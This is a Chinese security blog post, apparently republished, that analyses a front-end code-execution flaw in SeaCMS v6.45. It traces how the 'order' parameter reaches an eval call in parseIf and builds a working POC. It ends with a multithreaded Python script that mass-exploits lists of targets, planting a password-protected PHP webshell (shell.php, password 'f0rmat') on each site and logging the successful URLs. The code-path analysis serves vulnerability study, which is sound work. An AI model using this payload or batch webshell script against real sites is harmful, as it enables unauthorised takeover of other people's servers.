SeaCMS v6.45前台Getshell 代码执行漏洞(每日一洞)

admin 2023年12月14日13:54:10评论18 views字数 6232阅读20分46秒阅读模式

前言

昨晚审计到了三点,今天还要整理宿舍就没有写文章。这个CMS没有用框架,漏洞的执行过程我看了很久才看完,下面就写漏洞执行过程和POC构造还有用Python编写批量Getshell脚本。

环境

Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7

漏洞代码执行过程分析

先看一下这个代码是一个怎么执行的吧,我画了一个流程图,有点简陋,不过如果真的要深入了解一定要亲自去看一遍代码才行。

漏洞详情

漏洞代码执行

Payload代码

http://seacms.test/search.php
POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

执行结果

分析过程

  • 漏洞的触发点是在search.php 中的echoSearchPage()函数可以触发漏洞。常规的分析都是先找GETPOST的位置,在这个文件里面没有这些变量,原来是在./include/common.php里面。
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

所以Payload用GET还是POST都是可以的。

  • 由于代码太多就例举主要的代码段分析,继续回到search.php里面的echoSearchPage()函数。
    第一句是把这些变量设置为全局变量,方便下面来传值。
    第二句是判断$order是否为空,如果为空就把time赋值给$order。
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
  • 这段是Payload的里面一个重要的参数$searchtype的代码,一定要赋值5,可以到看到等于5的时候就有$order变量,所以我们要传$order进去就赋值5,至于为什么要赋值给$order,先跟着代码执行下去自然就会明白了。
    这里还有一个点,就是第四行的$pSize这里是选择模版文件,就是为了接下来使用str_replace函数对这个模版文件的内容进行替换。
    替换内容的文件在\data\cache里面,下面是文件的位置。
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}
。。。。。。。中间有很多代码就不一一分析中间的了。
$content = str_replace("{searchpage:page}",$page,$content);
    $content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
    $content = str_replace("{searchpage:ordername}",$order,$content);
  • 来到这里了,离构造POC又进一步了。我们只要的是看parseIf这个函数,在此之前我们可以先用echo来输出一下$content的内容,下面是对比图:


        $content=$mainClassObj->parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
  • 下面我们继续跟进parseIf这个函数,代码我就贴执行代码漏洞的地方。代码中用到一些不懂函数可以去PHP官网或者百度Google一下。
    $labelRule*这些变量都是规则,preg_match_all函数就用到了第一个规则{if:(.*?)}(.*?){end if}
    有很多新手估计要看很久才能看得懂这段正则,我在这里稍微解释一下,{if:(.?)}(.?){end if},除了加粗部分是一定要符合{if:}{end if},中间的(.*?)是用了贪婪的模式,它把匹配到的赋值到一个数组$iar里面,大家可以输入一下这个数组:
    SeaCMS v6.45前台Getshell 代码执行漏洞(每日一洞)
    大家发现了吗,变量$order的值也在里面,所以我们为什么要用order这个函数写入要执行的代码了。
    来看这一句if (strpos($strThen,$labelRule2)===false){判断strpos返回是否为假就执行下面的代码,我们来输出下$strThen到底有没有这个$labelRule2变量的内容。
    SeaCMS v6.45前台Getshell 代码执行漏洞(每日一洞)
    可以看到是没有的,所以会执行下面的代码,if (strpos($strThen,$labelRule3)>=0){这个判断从上面输出就可以看到有这个内容,所以为真执行下面的代码。
    下面三句代码就不用看了,因为重要的是@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");里面的$strIf变量也就是数组$iar[1]数组$iar[1]里面的内容。我们继续输出一下这个数组里面的内容。
    SeaCMS v6.45前台Getshell 代码执行漏洞(每日一洞)
    这里可以看出eval执行的变量是$strIf,而$strIf又有$order,所以这里又再一次解释为什么要用order参数
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

构造POC

又到构造POC这一步骤了,经过上面的分析,我们可以很清晰地构造出POC了。
{if:"{searchpage:ordername}"=="time"}替换模版文件里面内容
{if:(.*?)}(.*?){end if}匹配规则
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}")代码执行

我们传入的order要放在{searchpage:ordername}这里,所以我们要闭合前面的标签,}{end if}这句就可以闭合前面的标签, 为什么要闭合,因为程序的{if:}{end if}也是会解析成PHP的代码,如果不闭合就会出错不执行我们的代码。

过了这一关后,就到匹配规则了,只要符合{if:}{end if}就行了。我们要在{if:(.*?)}里面的(.*?)才会传入$strIf变量,继续看下面。

最后一关就是闭合if(".$strIf."),加入这一句1)phpinfo();if(1就OK了

代码执行的结果就是@eval("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}")

所以我们的POC就是}{end if} {if:1)phpinfo();if(1}{end if}

用Python编写批量Getshell脚本

用了多线程,可以指定单目标或者批量。

'''
author:F0rmat
'''

import sys
import requests
import threading
def exploit(target):
    if sys.argv[1]== "-f":
        target=target[0]
    url=target+"/search.php"
    payload = {"searchtype":5,"order":"}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}","func":"assert","cmd":"fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"}
    shell = target+'/shell.php'
    try:
        r=requests.post(url,data=payload)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python check_order.py.py -h target/-f target-file'
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()



if __name__ == '__main__':
    main()

结束

审计这个洞,真的累,可能就是因为太菜了吧,哈哈。

参考

源码下载地址:https://pan.lanzou.com/i0l0leb

http://blog.csdn.net/pygain/article/details/56016227

http://php.net/docs.php

https://github.com/F0r3at/Python-Tools/tree/master/seacms

http://0day5.com/archives/4249/


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日13:54:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SeaCMS v6.45前台Getshell 代码执行漏洞(每日一洞)http://cn-sec.com/archives/2298114.html

发表评论

匿名网友 填写信息